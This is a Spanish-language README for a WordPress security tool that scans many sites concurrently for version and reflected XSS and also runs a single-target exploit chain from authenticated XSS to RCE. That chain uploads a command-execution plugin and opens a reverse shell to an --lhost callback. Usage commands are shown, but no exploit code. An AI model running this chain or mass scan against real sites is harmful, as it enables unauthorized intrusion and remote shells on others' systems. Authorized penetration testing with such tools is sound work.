
Escáner de seguridad de WordPress que identifica versiones, detecta XSS reflejado en múltiples objetivos de manera concurrente y admite un flujo de trabajo de explotación autenticada de XSS a RCE para pruebas autorizadas.
Desarrollador: Crédito: YogaGymn
Utilidad PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de explotación para un único objetivo y un modo solo escaneo multiobjetivo concurrente.
Importante: Use este proyecto solo en instalaciones de WordPress que usted posea o para las cuales tenga autorización explícita para probar. El escáner multiobjetivo está limitado intencionalmente a la identificación de versión y a la detección de reflexión XSS; no realiza captura de credenciales, carga de plugins ni RCE contra una lista de objetivos.
El script original admite:
auto, xss y direct.El escáner añadido admite:
ThreadPoolExecutor.El modo multiobjetivo no llama a las funciones originales de RCE.
requestsInstale la dependencia:
python3 -m pip install requests
Si su distribución de Linux usa un entorno Python administrado externamente, use un entorno virtual:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clone o copie el proyecto: Original del exploit yogaGymn
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
O simplemente coloque:
xss2shell.py
en su directorio de trabajo.
Cree un archivo llamado targets.txt o alvos.txt:
https://example1.test
https://example2.test
https://example3.test
Los comentarios y las líneas vacías se ignoran:
# Alvos de laboratório autorizado
https://example1.test
https://example2.test
Ejecute el escáner:
python3 xss2shell.py -i targets.txt
La concurrencia predeterminada es de 10 workers.
Por ejemplo, use 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
Para un laboratorio pequeño:
python3 xss2shell.py -i targets.txt --workers 5
No elija un número de workers innecesariamente alto, ya que esto puede aumentar la carga de conexiones y activar límites de tasa o controles defensivos.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
El archivo scan_results.txt predeterminado utiliza campos separados por tabulaciones:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Ejemplo:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Estado Significado
XSS_REFLECTION_DETECTED El escáner detectó el comportamiento
de reflexión HTML probado. Esto no
es por sí mismo una prueba de RCE.
XSS_NOT_DETECTED La reflexión probada no fue
detectada.
ERROR La comprobación encontró una
excepción.El escáner puede informar detalles como:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDEstos valores describen la respuesta observada por la rutina de detección; deben validarse manualmente antes de considerar un resultado como una vulnerabilidad confirmada.
El script original también admite argumentos de objetivo único.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Los flujos de trabajo XSS/directos pueden crear o activar un plugin que contenga funcionalidad de ejecución de comandos. Úselos solo en un entorno de pruebas autorizado.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argumento Descripción
target URL de un solo objetivo.
-i, --input Archivo que contiene múltiples
objetivos.
--output Archivo de salida para resultados
multiobjetivo. Predeterminado:
scan_results.txt.
--workers Número de workers concurrentes.
Predeterminado: 10.
--mode Modo original de un solo objetivo:
auto, xss o direct.
-u, --username Nombre de usuario de WordPress para
el flujo directo/de respaldo original.
-p, --password Contraseña de WordPress para el
flujo directo/de respaldo original.
--lhost Host de callback/reverse-shell para
el PoC original.
--lport Puerto de reverse-shell.
Predeterminado: 4444.
--slug Slug del plugin. Predeterminado:
xss2shell.
--callback-port Puerto del servidor de callback.
Predeterminado: 9090.
--no-rev Omitir la activación de reverse-shell
en el flujo original.El modo de múltiples objetivos utiliza el siguiente recurso de Python:
ThreadPoolExecutor
Cada objetivo se envía como una tarea de escaneo independiente:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
Los resultados se recopilan a medida que las tareas se completan, mientras que la salida final se genera siguiendo el orden original de los objetivos.
El modo de múltiples objetivos está diseñado para evaluaciones de seguridad autorizadas y entornos de laboratorio.
Flujo de trabajo recomendado:
targets.txt.No utilice el escáner contra sistemas de terceros sin permiso.
El escáner no es una herramienta completa de evaluación de vulnerabilidades.
En particular:
unknown (desconocido) no significa que el objetivo sea vulnerable..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
No había información de licencia en el código fuente proporcionado.
Si este proyecto se publica públicamente, agregue un archivo de licencia explícito, como LICENSE. Este código es un desarrollo posterior del código original de ZSecurity.